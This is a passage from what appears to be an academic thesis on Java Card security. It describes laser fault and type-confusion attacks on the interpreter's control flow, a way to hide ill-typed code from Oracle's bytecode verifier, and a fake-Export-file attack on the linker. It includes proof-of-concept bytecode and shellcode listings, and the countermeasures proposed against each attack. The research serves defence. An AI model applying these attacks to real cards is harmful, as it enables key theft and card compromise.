0x0A860: 0000 0000 0000 0000 0000 0000 0000 0000

0x0A870: 0000 0000 0000 0000 0000 0000 0000 0000

0x0A880: 0000 0000 0000 0000 0000 0000 0000 0000

0x0A890: 0000 0000 0000 0000 1117 128D 6FC0 0000

0x0A8A0: 0000 0000 0000 0000 0000

In the memory snapshot, the function to fault precedes the array which contains the shellcode,

in grey in Listing 7.8.

7.2.1.2.4 The goto Redirection After precisely targeted by a fault injection, the high-byte

parameter of the goto_w instruction located at 0xA817 in smart card memory (as in Listing 7.9), the

laser beam swaps its value from 0xFF17 to 0x0017. This fault allows one to redirect the execution

flow. Indeed, the goto_w jumps forward to go into the shellcode. In the case of the jumping

offset referees an address after the beginning of the array, a landing area of nop instruction (0x00)
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catches up the JPC. It will also execute the nop instructions until the shellcode. For instance, in

Listing 7.9, the shellcode is composed by the instructions:

11 1712 sspush 0x1713

8D 6FC0 invokestatic 0x6FC0 // ISOException . t h r o w I t (0 x1713 )

In the targeted card, the address 0x6FC0 refers the ISOException.throwIt functions. There-

fore, the shellcode throws an exception with the value 0x1712. This attack succeeds in changing

the application’s control flow when the card should returns the status word 0x1712.

In this section, an attack that aims to modify the application’s control flow was explained.

It succeeds in executing a shellcode stored in a array filled out after the faulty method. A laser

beam faults the goto_w instruction’s parameter, as the JPC is updated to refers a byte outside the

byte code area. A countermeasure, presented by Lackner et al. [Lac+13a], checks if the executed

instruction is inside the byte code area. This countermeasure covers only a direct modification of

the control flow outside the method area, but not a desynchronised code [Ham+13].

7.2.1.3 Improving the Scrambling Mechanism

Barbu in [Bar12] proposed a countermeasure which prevents the malicious byte code from being

executed. His idea was to scramble each instruction during the installation step. For that each

Java Card instruction ins performs a xor with the Kbyte code key. Thus, the hidden instructions

are computed as the Equation 7.1.

inshidden = ins ⊕ Kbyte code (7.1)

If an attack succeeds, as the EMAN2 described in Section 7.1.2.2, the attacker cannot execute

his malicious byte code without the knowledge of the Kbytecode key. Thus to find the xor key he

should just change the CFG of the program to a return instruction. As defined by the Java Card

specification [Ora11d, §7 – JCVM Instruction Set], the associated opcode is 0x7A. With a 1-byte

xor key, this instruction may have 256 possible values. A brute force attack finds the xor key.

To improve his countermeasure, Bouffard et al. [Bou+13b] added the JPC value to perform

the hidden instruction and it can be written as the Equation 7.2.

inshidden = ins ⊕ Kbyte code ⊕ JPC (7.2)

Assuming the example described in Listing 7.10.

The authors scramble the byte code in the installed method to prevent a modification of the

original byte code from an attacker. For that purpose, the key Kbyte code set to 0x42. So, in the

installed applet, the following byte code as given in Listing 7.11 and Listing 7.12 given below.

In Listing 7.11, scrambling was done without the JPC value. If one has many times the same

instruction sconst_m1, in the example, one will always have the same value. Thus, it becomes

easy for an attacker to find this constant key value. Indeed, to find it, an attacker has a constant
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Listing 7.10: Set of instructions to protect.

/∗0 x20 ∗/ 0x00 nop

/∗0 x21 ∗/ 0x02 sconst_m1

/∗0 x22 ∗/ 0x02 sconst_m1

/∗0 x23 ∗/ 0x3C pop2

/∗0 x24 ∗/ 0x04 sconst_1

/∗0 x25 ∗/ 0x3B pop

Listing 7.11: Scrambling byte code with the
Equation 7.1

/∗0 x8068 ∗/ 0x42 nop

/∗0 x8069 ∗/ 0x40 sconst_m1

/∗0x806A∗/ 0x40 sconst_m1

/∗0x806B∗/ 0x7E pop2

/∗0x806C∗/ 0x46 sconst_1

/∗0x806D∗/ 0x79 pop

Listing 7.12: Scrambling byte code with the
Equation 7.2

/∗0 x8068 ∗/ 0x2A nop

/∗0 x8069 ∗/ 0x29 sconst_m1

/∗0x806A∗/ 0x2A sconst_m1

/∗0x806B∗/ 0x15 pop2

/∗0x806C∗/ 0x2D sconst_1

/∗0x806D∗/ 0x12 pop

complexity in O(n). Where, n equals to 256, the cardinal of values of a byte. As described in

Listing 7.12, each similar instruction has a different byte code value.

This countermeasure can be enabled by the developer during the compilation step. For that

he has to set each enabled countermeasure flag on Cap file custom component. It is only parsed

if the targeted JCVM can parse it. To enable this countermeasure on specific fragment of code

complicates the attacker’s task. A special key for each security context may improve this protection.

For the Java Card runtime, this countermeasure is not expensive. Indeed, just a double xor should

be done at the beginning of the main loop. A native implementation is provided in Listing 7.13.

Listing 7.13: The improved scrambling implementation.

while (true) {

if ( scrambled ) ins = ins_array [JPC] ^ Key ^ (JPC & 0x00FF)

else ins = ins_array [JPC]

switch (ins) { /∗ a case f o r each Java Card i n s t r u c t i o n to e x e c u t e ∗/ } }

Depending on the JPC value, each instruction is stored in the smart card memory. Without

the knowledge of where each instruction is stored in the EEPROM, an attacker have no possibility

to execute some malicious byte code.

However, if an attacker succeeds to change the return address, he can jump to the shellcode to

read Java Card memory. For that, the shellcode used is unscrambled as given in Listing 7.14. This

shellcode is stored in the EEPROM at the address 0xAB80. The information in the array should

not be masked by the Java Card loader like the executed instructions.
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Listing 7.14: Shellcode.

/∗0xAB80∗/ 0x8D getstatic 8000

/∗0xAB83∗/ 0x78 sreturn

Listing 7.15: Unscrambling shellcode.

/∗0xAB80∗/ 0x4F sshl

/∗0xAB81∗/ 0x43 ssub

/∗0xAB82∗/ 0xC0 // Undef ined

/∗0xAB83∗/ 0xB9 // Undef ined

During the execution of the shellcode, the runtime unmasks each instruction to obtain the code

shown in Listing 7.15. Of course, the code is detected invalid by the interpreter because 0xC0 is

undefined by the targeted virtual machine implementation. Moreover, the sshl and ssub byte

code need two words on the top of the stack. Therefore, the interpreter detects an empty stack.

7.2.2 Exploitation of finally Clauses

The Java Card specification [Ora11d, §7.5 – The JCVM Instruction Set] defines a couple of

instructions to execute subroutines: jsr and ret instructions. This couple of instructions was

generated while the finally statement is used after the try/catch statements [Lin+13, §3.13 –

Compiling finally].

In this section, we hypothesise that we are able to load applet on the targeted card and it does

not embed any BCV. Moreover, the target has protection against frame’s header modification. An

attack as EMAN2 cannot be succeeded on this card.

7.2.2.1 How the jsr instruction works?

As specified in [Ora11d, §7.5.69 – jsr], the jsr instruction is also known as the jump to subroutine

instruction. It pushes the address of the next instruction onto the operand stack. Its type is the

returnAddress type. The Java Card specification [Ora11d, §3.1 – Data Types and Values] defines

this type as a primitive type, like the numeric types (byte, short, int) and the Boolean type.

Then, the JPC is updated and the execution continues at the offset specified in the argument of the

jsr instruction. This pushed value must be stored in a local variable by the astore instruction.

Moreover, this value will only be manipulated by the ret instruction. That implies the usage of

the astore instruction between the jsr and the ret to store this value in the local variables area.

The ret instruction, specified in [Ora11d, §7.5.79 – ret], writes the content of the local variable

into the JPC register and the program execution continues. Instead of the return instruction,

the ret instruction does not return from a Java method to its caller, and the current context is

preserved.

Assuming the function shown in Listing 7.16.

In this function, the jsr instruction pushes onto the operands stack, the address of the sspush

instruction (0x06). This value is stored in the local variable 1 by the means of the astore_1

instruction. From 0x0B, the ret instruction writes the content of the local variable 1 (0x06) to

the JPC register and the application executes the sspush and sreturn instructions.
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Listing 7.16: A simple jsr implementation.

public short aJSRSample ( ) {

/∗0 x01 ∗/ 01 // f l a g s : 0 max_stack : 1
/∗0 x02 ∗/ 01 // nargs : 0 max_locals : 1
/∗0 x03 ∗/ jsr L1

/∗0 x06 ∗/ L0: sspush 0xCAFE

/∗0 x09 ∗/ sreturn

/∗0x0A∗/ L1: astore_1

/∗0x0B∗/ ret 0x1 } // jumping to L0

7.2.2.2 Characterisation of the jsr Instruction

In this section, the value pushed by jsr instruction is characterised. Due to the constraints of the

card, few JCRE implementations check the type of each element manipulated during an applet

execution as explained by Iguchi-Cartigny et al. [IC+10].

The fragment of code shown in Listing 7.17 is made of two instructions. The first one is the jsr

instruction which aims at jumping to the label L1. The second one is the sreturn instruction which

pops out the latest short value pushed on top of the stack and returned it. As the targeted card

encodes a reference value as a short value, a reference-to-short type confusion can be performed.

Listing 7.17: jsr instruction characterisation.

/∗0 x60 ∗/ jsr L1

/∗0 x63 ∗/ L1: sreturn

In this example, since the jsr instruction is located at the address 0x0060, the value returned

by the sreturn instruction will be 0x0063. To improve the jsr characterisation, few jsr opera-

tions are added before the sreturn instruction. For instance, the three jsr operations listed in

Listing 7.18 is executed.

Listing 7.18: 3-jsr instruction characterisation.

/∗0 x60 ∗/ jsr L1

/∗0 x63 ∗/ L1: jsr L2

/∗0 x66 ∗/ L2: jsr L3

/∗0 x69 ∗/ L3: sreturn

On the targeted card, the value pushed by the jsr instruction are disclosed. It is linearly

increased by the number of bytes between the jsr instruction and the following instruction. The

JPC value seems not to be protected with an integrity check.

In this section, the value pushed by the jsr instruction has been characterised. This value,

saved by an astore instruction, is used by the ret instruction to update the JPC register. If this

value is modified, one can perturb the execution flow of an application.
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7.2.2.3 How to Abuse the jsr Instruction?

Modifying the execution flow of an application enables to break the code integrity regarding the

associated FTA. The jsr instruction pushes the address of the next instruction onto the operand

stack. Modifying it can confuse the control flow to execute any instructions sequences.

To exploit the couple jsr/ret instructions, the proof of concept described in Listing 7.19 have

been developed. In this function, the jsr instruction pushes the reference of the next instruction

onto the stack. The offset of the sspush instruction which is 0x06 is then stored. From the

Java Card specification, this information must be stored in a local variable through the astore

instruction (at 0x0E). Moreover, it is specified that the ret instruction must set the JPC to the

instruction that just follows the jsr instruction.

Listing 7.19: Byte code interpretation of astore.

short exploitJSRInstruction () {

/∗0 x01 ∗/ 01 // f l a g s : 0 max_stack : 1
/∗0 x02 ∗/ 01 // nargs : 0 max_locals : 1
/∗0 x03 ∗/ jsr L3

/∗0 x06 ∗/ L1: sspush 0xCAFE

/∗0 x09 ∗/ sreturn

/∗0x0A∗/ L2: sspush 0xBEEF

/∗0x0D∗/ sreturn

/∗0x0E∗/ L3: astore_1

/∗0x0F∗/ sinc 0x1 , 0x4

/∗0 x12 ∗/ ret 0x1 } // Jump to L2

But, in this case, based on a type confusion attack, the numeric value, typed as returnAddress,

in the local variable 1 is increased with the sinc instruction (from the offset 0x0F, Listing 7.19).

This proof of concept aims at executing the fragment of code from 0x0A and returns the 0xBEEF

short value instead of 0xCAFE.

So, an ill-formed function is executed into a Java Card. Since this code is executing, the

JPC is updated by the ret instruction and set up with the 0x09 value. Thus, the next executed

instruction is sspush 0xBEEF instead of sspush 0xCAFE. This attack is able to manipulate the

Java Card control flow. With the adequate value, a malicious user can jump anywhere in the Java

Card memory and break the code integrity.

In this section, a way to update the JPC value is presented. This attack, based on a type

confusion, which abuses of the finally clauses instructions jsr and ret. It runs on platforms that

have an integrity mechanism on the return address stored in the system area of the frame. This

proof of concept succeeded in proposing a generic approach to modify the JPC register to realise

a control flow transfer exploit. Indeed, this attack works on each card that does not implement a

typed stack and does not embed a BCV. On a Java Card which a typed stack that checks each

types specified (at least the numeric type, Boolean type, returnAddress type and reference), a

confusion via the swap instruction can switch two returnAddress or a confusion based on the
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field as the one explained in Section 7.2.1.1.

7.2.3 Preventing the JPC from any Modification

Each attack tries to get access to an asset: the return address, the index of a wide instruction or

the dynamic type verification. For all these attacks, there are several attack paths or avatars of the

same attack. The original EMAN4 attack requires a goto_w instruction. If the countermeasure

is only based on an additional check into this byte code, any new avatar can be exploited. For

example, any if<cond>_w instruction will have the similar effect and thus becomes a new attack

path. More sophisticated approach would be the use of the stableswitch or slookupswitch

instruction in which if the index on top of the stack matches with a matchbyte then the value of

the index is added to the current JPC.

Listing 7.20: Implementation of the countermeasure in the goto_w instruction.

int16 BC_goto_w (void) {

short off = getOffset ();

if (off != getOffset ()) return SEC_ERROR ;

vm_pc = vm_pc - 1 + getOffset ;

return ACTION_NONE ; }

The main idea is to protect the asset from the attack path. Here, one needs to securely

implement the function that reads the value of the offset. Against transient fault a temporal

redundancy with a comparison is enough. This dual check must be implemented into all byte codes

that use a long index or directly implemented into the function that gets the value of the offset.

Listing 7.20 is an implementation of the dual check to protect the asset.

7.3 Enabling Malicious Byte codes inside Java Based Smart Card

In the previous section, upon a type confusion, an attack succeeded in setting the jsr value by

a chosen value with different helps. This value must refer to a valid Java Card byte code. The

modification of the JPC value is based on a type confusion attack detected by a BCV verification.

7.3.1 Abusing the Byte Code Verifier

During the production process, each loaded applet in the card shall be analysed by an off-card

and/or an on-card BCV. This section proposes a meaning to fool the BCV verification with some

unchecked piece of code.

The off-card BCV provided by Oracle have been analysed. Some smart card manufacturers

use their own version of the BCV but there is no public information on that point.

On the Oracle off-card BCV, the process performed to verify the semantics of the Java Card

byte code was studied. This process is split in two parts. First, the BCV checks the structure
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and loads the methods’ byte codes of the CAP file. For methods it checks that the control flow

remains inside the methods, the jump destinations are correct and so on. Secondly, for each entry

points (and only for these) it controls the semantics and the type correctness of the code. This

step is not performed for unreachable code, while the specification states that no unreachable code

should remain in the file. The semantics of the unreachable code is not verified by the reference

implementation. Assuming the byte code in Listing 7.21.

Listing 7.21: Piece of code unchecked by the BCV.

void abuseBCV () {

04 // f l a g s : 0 max_stack : 4
03 // nargs : 0 max_locals : 3
/∗0x05B∗/ L0: jsr L1

/∗0x05E∗/ sspush 0xCAFE

/∗0 x061 ∗/ sreturn

/∗0 x062 ∗/ sspush 0xBEEF

/∗0 x065 ∗/ sreturn

/∗0 x066 ∗/ astore_3 // save re tu rn addre s s
/∗0 x067 ∗/ L1: // Set o f i n s t r u c t i o n s
...

/∗0x15C∗/ sspush VALUE_1

/∗0x15F∗/ sspush VALUE_2

/∗0 x162 ∗/ if_scmpeq_w 0xFF05 // => L1
/∗0 x166 ∗/ return

//−−−−−−−−−−−− UNCHECKED CODE −−−−−−−−−−−−−−

/∗0 x167 ∗/ sinc 0x3 , 0x4

/∗0x16A∗/ ret 0x3

//−−−−−−−−−−−− UNCHECKED CODE −−−−−−−−−−−−−−

}

In this listing, the function exits through the return instruction at 0x166. The local variable

3 contains the reference to the instruction which follows the jsr.

Since the VALUE_1 equals VALUE_2, then the if_scmpeq_w instruction jumps to label L1. Oth-

erwise, the function exits. After the offset 0x166, the piece of code is unreachable. This code

increases the short local variable 3 by 4. This operation is not allowed due to a type confusion,

but not semantically checked by the BCV. The fragment of code in Listing 7.21 is not rejected by

the Oracle off-card BCV 3.0.4.

In this section, a way to hide malicious code through an unreachable piece of code had been

discovered. An applet which contains an ill-formed code is accepted by the Oracle’s BCV component.

In an unreachable code fragment, the destination of jump are still controlled but not the type

correctness. Focus on how to execute the ill-formed unreachable code.

7.3.2 Enabling Virus Inside the Card

The EMAN4 attack, described in Section 7.2.1.2, is a software attacks enabler. As we have seen

in the previous section, an applet that contains unchecked piece of code can be installed into the
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card after a verification by a BCV. An external fault injection [Raz+12b] can modify the installed

application to enable the malicious code fragment. To succeed in attacking a Java Card smart

cards with an embedded BCV, an applet with the code shown in Listing 7.21 is installed.

Since an EMAN4 attack occurred on the if_scmpeq_w instruction’s parameter, its value shift

from 0xFF04 to 0x0004. In this case, if the VALUE_1 equals VALUE_2, the unchecked instructions

will be executed and the JPC value is increased by 4.

This section had generalised the software attack based on the jsr instruction on a card which

embeds a BCV component. Moreover, this section proved that a software attack can be enabled by

an attack like EMAN4. A malicious developer can provide such an applet that succeed in passing

byte code verification to a network operator. Once the applet is installed, if he has access to such

a card he can perform the laser attack transforming its code to a malicious applet. With such an

applet he can dump the content of the card, reverse engineer all the Java application stored inside

the card, call the getKey method to obtain stored key and so on.

7.4 Security Automatons to Protect the Java Card Control Flow

Detecting a deviant behaviour is considered as a safety property, i. e., properties that state “nothing

bad happens”. A safety property can be characterised by a set of disallowed finite execution based

on regular expressions. The authorised execution flow is a particular safety property which means

that the static control flow must match exactly the runtime execution flow without attacks. For

preventing such attacks, several partial traces of events is defined as the only authorised behaviours.

The key point is that this property can be encoded by a finite state automaton, while the language

recognised will be the set of all authorised partial traces of events. This work was published

in [Bou+13b,Bou+13c] and extended in an article [Bou+14e].

7.4.1 Principle

Schneider [Sch00] defined a security automaton, based on Büchi automaton [Büc62] as a triple (Q,

q0, δ) where Q is a set of states, q0 is the initial state and δ a transition function δ: (Q × I) → 2Q.

The S is a set of input symbols, i. e., the set of security relevant actions. The security automaton

processes a sequence of input symbols s1, s2, . . . , sn and the sequence of symbols is read as one

input at a time. For each action, the state is evaluated by starting from the initial state s0. As

each si is read, the security automaton changes Q′ in ∪q∈Q′δ(si, q). If the security automaton can

perform a transition according to the action, then the program is allowed to perform that action,

otherwise the program is terminated. Such a mechanism can enforce a safety property as in the

case for checking the correctness of the execution flow.

The property to implement here is a redundancy of the control flow. In the first approach, the

automaton that verifies the control flow could be inferred using an inter procedural CFG analysis.

In that way, the initial state q0 is represented by any method’s entry point. S is made of all the
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byte codes that generate a modification of the control flow along with an abstract instruction join

representing any other instructions pointed by a label. By definition, a basic block ends with a

control flow instruction and start either by the first instruction after control flow instructions or by

an instruction preceding a label. When interpreting a byte code, the state machine checks if the

transition generates an authorised partial trace. If not, it takes an appropriate countermeasure.

The transition functions are executed during byte code interpretation which follows the isolation

principle of Schneider. Using a JCVM, it becomes obvious that the control of the security automaton

will remain under the control of the runtime and the program cannot interfere with automaton

transitions. Thus, there is no possibility for an attacker to corrupt the automaton because of the

Java sandbox model. Of course, the attacker can corrupt the automaton using the same means

as he corrupted the execution flow. By hypothesis, the double fault injection possibility for an

attacker is not actually considered. If needed, it is possible to protect the automaton with an

integrity check verification before each access into the automaton.

7.4.2 Security Automaton Included in a Java Card Virtual Machine

The code fragment shown in Listing 7.22 was extracted by Girard et al. [Gir+10] from the Internet

protocol payment defined by Gemalto. It starts by an array initialisation with a loop followed by

a call to the method update() in order to initialise the PIN code and a call to register() to

register the applet into the card.

Listing 7.22: Source code of the payment applet.

protected Protocolpayment (byte [] buffer , short offset , byte length ) {

A[0] = 0; // i n i t i a l i s a t i o n o f array A

for (byte j = 0; j < buffer [( byte)( offset +12) ]; j++)

D[j] = 0; // i n i t i a l i s a t i o n o f array D

pin = new OwnerPIN (( byte) TRY_LIMIT , (byte) MAX_PIN_SIZE );

// i n i t i a l i s a t i o n o f p in

pin. update (myPin , (short ) START_OFFSET , (byte) myPin. length );

register (); } // r e g i s t e r t h i s i n s t a n c e

The set S is made of elements of a language which expresses the control flow integrity policy,

i. e., all the binary instructions control the program flow : ifeq, ifne, goto, invoke, return,

etc. plus the dummy instruction join. In this example, the number of loop iterations cannot be

statically computed, but, it can be represented by a regular expression. The CFG of this program

is given in Figure 7.5.

The first block ends with a goto, the end of the second block precedes a label join and the

last one finishes with return. Inside basic block, they are calls to other methods, the first one is

the constructor of the super class. In the fourth block, a call to the constructor of OwnerPIN is

followed by the method update and finally the register.
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/*0x03*/ L0: aload_0

/*0x04*/ invokespecial 6

/*0x2E*/ goto L2

/*0x3A*/ L2: sload_3

// . . .

/*0x42*/ if_scmplt L1

/*0x30*/ L1: getfield_a_this 1

// . . .

/*0x39*/ sstore 3

/*0x45*/ L3: aload_0

// . . .

/*0x4B*/ invokespecial 5

// . . .

/*0x56*/ invokevirtual 7

// . . .

/*0x5A*/ invokevirtual 8

/*0x5D*/ return

Figure 7.5: Control flow graph of the applet constructor.

Each invoked method has its own CFG and its own automaton. This automaton represents an

abstraction of the program (its CFG) and is used by the monitor to control the execution. The

automaton can be built statically off card and loaded with the applet as an optional component of

the CAP file or the construction of the automaton can be done by the card itself while loading the

code. The code is always loaded in a safe environment and there should not be any attack during

this phase. A simple integrity check will preserve the code or the automaton to be altered before

being stored into the card and this point is discussed later.

0start 2

1

3
goto

if_scmplt join

!if_scmplt

Figure 7.6: Applet constructor automatons.

The trace recognised for this method would be: (goto, ifscmpt∗, join, return). The automa-

ton that recognises this trace is shown in Figure 7.6. The condition of the loop can be evaluated

at least once. In fact, the trace can be more precise: the call to the methods and use of reference

to checks can be taken into account, if the control flow has been correctly transferred to the

called method. Thus, the recognised trace becomes: (invokespecial 6, goto, ifscmpt∗, join,

invokespecial 5, invokevirtual 7, invokevirtual 8, return), as given in Figure 7.7.

Such a state machine can be easily represented by an array (see Table 7.6), allowing the system

to check if the current state allows to change the state to a requested one for each transition

function. Moreover, keeping trace of the JPC allows a fine grain control of the CFG. For example,

if the JCVM encounters the instruction goto label, it checks if in the current state (says for

example q1) such an instruction is allowed, if not, it takes an adequate countermeasure. If in

current state the instruction is allowed, the JCVM checks whether the destination is an expected

one, i. e., q2 by verifying the label of the instruction or the token of the invoked method. If the

instruction is a return, it verifies either it is the last instruction or the next instruction has a
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Figure 7.7: Applet constructor automatons.

label.

❍
❍
❍
❍
❍❍

δ

q
q0 q1 q2 q3 q4 q5 q6 q7

invokespecial 6 q1

goto q2

join q2

ifscmpt q3,4

invokespecial 5 q5

invokevirtual 7 q6

invokevirtual 8 q7

return +

Table 7.6: Basic representation of the automatons.

7.4.3 The Reference Monitor

The control of the transition functions is quite obvious. Once the automaton array has been built

statically either off-card or during the linking process, each Java frame is updated with the value

of the current state qi. In the case of a multi-threaded VM, each thread manages the state of the

current security automaton method in its own Java frame for each method. Knowing the current

state and the current instruction, it is easy to check the source and the destination while executing

the instruction related to control flow. Unfortunately such a matrix is not compatible with a highly

constrained device like the smart card. Thus, a compact representation is required inside the card.

The automaton is stored as an array with several columns like the next state, the destination

state and the instruction that generates the end of the basic blocks. In Listing 7.23, the test (in line

2) verifies that the currently executed instruction is the one stored in the method area. According

to the fault model, a transient fault should have been generated during the instruction decoding
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Listing 7.23: Transition function for the ifle byte code (next instruction).

1 int16 BC_ifle (void) {

2 if (SM[frame -> currentState ][ INS] != *vm_pc)

3 return ACTION_BLOCK ;

4 vm_sp -=2;

5 if (vm_sp [0].i <= 0)

6 return BC_goto ();

7 if (SM[frame -> currentState ][ NEXT] != state(vm_pc))

8 return ACTION_BLOCK ;

9 vm_pc += 2;

10 frame -> currentState = SM[frame -> currentState ][ NEXT ];

11 return ACTION_NONE ; }

phase. If it does not match, the JCVM stops the execution (line 3). If the evaluation condition is

true, it jumps to the destination (line 6). Else, it checks whether the next JPC is a valid state for

the current state of the automaton. If it is allowed, the automaton changes its state.

In Listing 7.24, the last part of the ifle byte code also checks the destination JPC matches

with the next state and then updates the current state.

Listing 7.24: Transition function for the ifle byte code (target jump).

int16 BC_goto (void) {

vm_pc = vm_pc - 1 + GET_PC16 ;

if (SM[frame -> currentState ][ DEST] != state(vm_pc)) return ACTION_BLOCK ;

frame -> currentState = SM[frame -> currentState ][ DEST ];

return ACTION_NONE ; }

7.5 Conclusion

This chapter had presented different attacks which abuse the application’s control flow. Each

attacks was revealed by the FTA and are based on the absence of protection on the JPC register.

The introduced attacks are summarised in Table 7.7 with the associated countermeasures. During

this work, I took part of attacks [Bou+11b,Bou+14a,Bou+14b,Bou+14d] and countermeasures in

[Bou+13c,Bou+14e,Dub+12,Dub+13,Ham+12,Raz+12a] to protect the control flow.

Smart card designers often refute the possibility to exploit such attacks. It is due to the used

hypothesis: absence of the BCV. They argue that in the real life, operators will only upload

programs that have been verified in the sens of type verification. For that purpose, an attack where

the payload is hidden in an unreachable fragment of code was developed. With this version, the

reference BCV implementation accepts the applet. At runtime, thanks to a laser beam attack, the

attacker will execute an ill-typed applet, and master the applet’s control flow and executes any

arbitrary code.

The attacks are based on the difficulty to clearly identify the different assets to protect. Using
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Attacks Type Hypothesis Constraints Countermeasures

Cheating method
invocation

EMAN3 No BCV Implementation-
dependent

Security automa-
tons

Frame corruption
EMAN2

No BCV
Implementation-
dependent

Stack protection
mechanism and the
security automatons

Corrupting the
caller’s state

Fooling branching
condition

Heap type
confusion

No BCV Implementation-
dependent

Scrambling
mechanism and the
security automatonsEMAN4 BCV

Cheating
finally-clause
instruction

N/A No BCV Implementation-
independent

Security automa-
tons

Executing
unreachable code

N/A BCV Implementation-
independent

Security automa-
tons

Table 7.7: Summarise of the attacks against the Java Card control flow.

the Fault Tree Analysis methodology to reason about the weakness of an implementation helps

us to find these attacks. Using legal instructions to update the JPC provides a full control on

the execution flow of the program inside or outside the method. Thus, it allows us to invoke any

code fragment. To protect the control flow, a high-level countermeasure was proposed. It provides

redundancy of the control flow using a security automaton executed in the kernel mode. It allows

to dynamically check the behaviour of the program. It automatically generated the automaton

during the linking process or by an off-card process.

This technique is not only limited to the CFG properties but it can be used for more general

security policies expressed as safety properties. It is interesting to check whether some security

commands have already realised before executing a sensitive operation. During these sensitive

operations, manipulated fields are often memorised in a secured container (i. e., the PIN field

isValidated), but some of them use unprotected fields and could be subjected to fault injection

attacks. The difficulty here is to find a right trade-off between the highly secured system with a

poor runtime performance and an efficient system with less security.
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Chapter 8

Security of the Java Card Linker

“Many that live deserve death. And some that die deserve life. Can

you give it to them? Then do not be too eager to deal out death in judgement.

For even the very wise cannot see all ends.”

— John Ronald R. Tolkien, Lord of the Rings, The Fellowship of the Ring
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Executing an application on Java Card requires to link it with the API provided by the device.

On the classical Java platform, the linking process is dynamically done. For the Java Card platform,

a different approach has been chosen and split into two parts. During the translation of a Class

to a CAP file, an off-card linker converts each Unicode name contained in the Class file to

tokens. This process aims at obtaining an optimised file to be installed on the card. The on-card

linker resolves each token with the internal reference of each feature required by the application.

This process is statically done at load time. These steps will be introduced in Section 8.1.
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Using the FTA, new events against the Java Card linker were disclosed. On off-card linker,

confusing the conversion part between a Class item and a CAP token may link an applet with

a malicious API. This API should provide, for the user, the same behaviour as the original one.

This attack is explained in Section 8.2.

Another event discovered by the FTA is the corruption of the on-card linker. In the CAP file,

a list of tokens to resolve is filled to help the on-card linker in its work. Cheating it can be done by

a modification of this list. As a result, the linker will resolve any other byte as token. Presented

by Section 8.3, this attack has two possible exploitations. First, a value can be resolved to give

internal reference of the targeted smart card’s API. Second, the linker updates instruction byte

code. This effect mutates the applet instruction.

To start this chapter, an overview of the linking process on Java Card is presented in the

following section.

8.1 Overview of the Java Card Linking Process

8.1.1 Off-card linking step

Due to limited resources embedded into the card, the Java Card linking process is split into two

parts. The first one is done outside the card. As described in Section 3.2.2, each Class file,

complying with the Java security rules, is converted to a CAP file. To do that, Oracle’s converter

translates items in the Class file to CAP file tokens. In the Class file, an item describes the

signature of each element by a Unicode string, nonetheless the Java Card does not manage string.

The tokenisation aims at optimising the file size for a limited-resource device such as Java Card

smart card. To convert Class file, each Java item is translated into a token with the help of the

Export files. Oracle specification [Ora11d] defines an Export file as:

“An export file contains entries for externally visible items in the package. Each entry

holds the item’s name and its token. Some entries may include additional information

as well.” (source: JCVM specification [Ora11d, §4.3.3 – The Export File and

Conversion])

The Export contains the public API linking information of classes in an entire package.

The Unicode string names of classes, methods and fields are assigned unique numeric tokens. For

instance, in Oracle’s Java Card Development Kit (JCDK), the Java Card API Export files

provided are compliant with each card implementing the Java Card specification [Ora11d].

To optimise the on-card linking step, Oracle’s converter inserts the CAP file tokens’ informa-

tion into the Constant Pool, Reference Location and Import components. The Constant Pool

component contains the linking information between each token’s value and the reference to the

method, class and/or package required to correctly execute the byte code from the Method compo-

nent. The Reference Location component lists, from the Method component, each offset where
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a token should be resolved by the card’s internal reference. The Import component enumerates

the packages required by the applet to correctly execute it.

8.1.2 On-card linking step

The second linking process is done during the applet loading. On-card, each token contained

in the Method component, referred by the Reference Location component, is updated to an

internal reference. The internal reference is obtained with the help of Constant Pool component

which refers shared methods/classes/fields required by the application. Into the Constant Pool

component, a token to an external method – a method provided by another class – is structured

as the set (package_token, class_token, method_token). The package token item1 represents

a package defined in the Import component. So, as shown in the Figure 8.1, the token 0x02

refers to the set (0x80, 0x12, 0x00) whose method 0x00 of the class 0x12 contained in the pack-

age 0x00 indexed the Import component. For instance, the token 0x02 will be linked with the

javacard.framework.Util.arrayCopy() method according to the Export files provided in

Oracle’s JCDK. With this information, the Java Card linker is able to link an applet with the

required APIs installed into the card.

Reference Location Component
. . .

offset_to_byte2_indices = {

... @0x32 ...

}

Import Component

packages[0] { // javacard.framework
version: 1.2

AID: 0xA0000000620101

} . . .

Method Component
. . .

/* 0x30 */ aload_2

/* 0x31 */ invokevirtual 0x0002

. . .

Constant Pool Component

Token Function
...

...

2
CONSTANT_VirtualMethodRef

Ext. method: 0x80 0x12 0x00
...

...

Figure 8.1: The on-card linking process.

This chapter aims at focusing of the linking process security. This study is split into two

parts. The first one introduces an attack on the off-card linker in Section 8.2, where a man in the

middle attack is presented. On the second one, the security of the embedded linker is evaluated,

in Section 8.3, through two attacks.

1The Java Card specification [Ora11d] specifies that the most significant bit of the package token must be set to
one.
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8.2 A Man in the Middle Attack Upon the Off-Card Linker

A path to confuse the linker was discovered by Bouffard et al. [Bou+13a]. When the off-card linker

resolves the Class file, it uses the first Export file that meets the requirement, i. e. which

contains the token of the Unicode item to translate. The off-card linker only checks the uniqueness

of each AID into the Export files path. This section explains how a man in the middle attack

may force the Java Card toolchain to link an application with a malicious library instead of the

legitimate one. That allows one to withdraw confidential information such as cryptographic keys.

8.2.1 Cheating the Off-Card Linker

A fake Export file, which contains the malicious linking information, is added in the Export

files path. This Export file contains the same information as the Export file to confuse but

with a different AID. The targeted card can embed a BCV.

For instance, an API provides a function named buildKey() that generates cryptographic keys.

An applet which requires session keys, for cryptographic stuff, must invoke this function. In the

legitimate way, the applet is linked with the correct API. We succeed in linking this applet with a

fake API such as each call to buildKey() function is caught by a malicious API. The fake API

stores the generated key and returns it to the caller. If the malicious library is installed into a

card, one can achieve fake API as described in the Figure 8.2.

Applet Fake API Legitimate API Attacker’s applet

buildKey()

buildKey()

Key

Store key

Key

getKeys()

Keys stored

Figure 8.2: The Architecture of the man in the middle into the Java Card smart card.

A developer shall download the fake Export file and add it into his Export path. Oracle’s

Java Card toolchain parses the Export files path to build a CAP file. The converter uses a

first find, first used algorithm to find the Export file which meets the requirement. So, the

fake export file must be found first. Oracle’s toolchain does not check the other Export files.

When an Export file that meets the requirement is found, it is used by the toolchain to link
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the application from a specific-API-name to the malicious API token.

Finally, the applet linked with the malicious API can be installed on the card. The installed

applet will use the fake API as the legitimate one.

8.2.2 When the Type is not Correct

Nonetheless, this attack generates a cast type exception. Indeed, the developed application which

uses the type A is linked, upon the Export file confusion, in such way that it becomes the type

A’. When the applet requires a reference to the type A from an external function, a checkcast

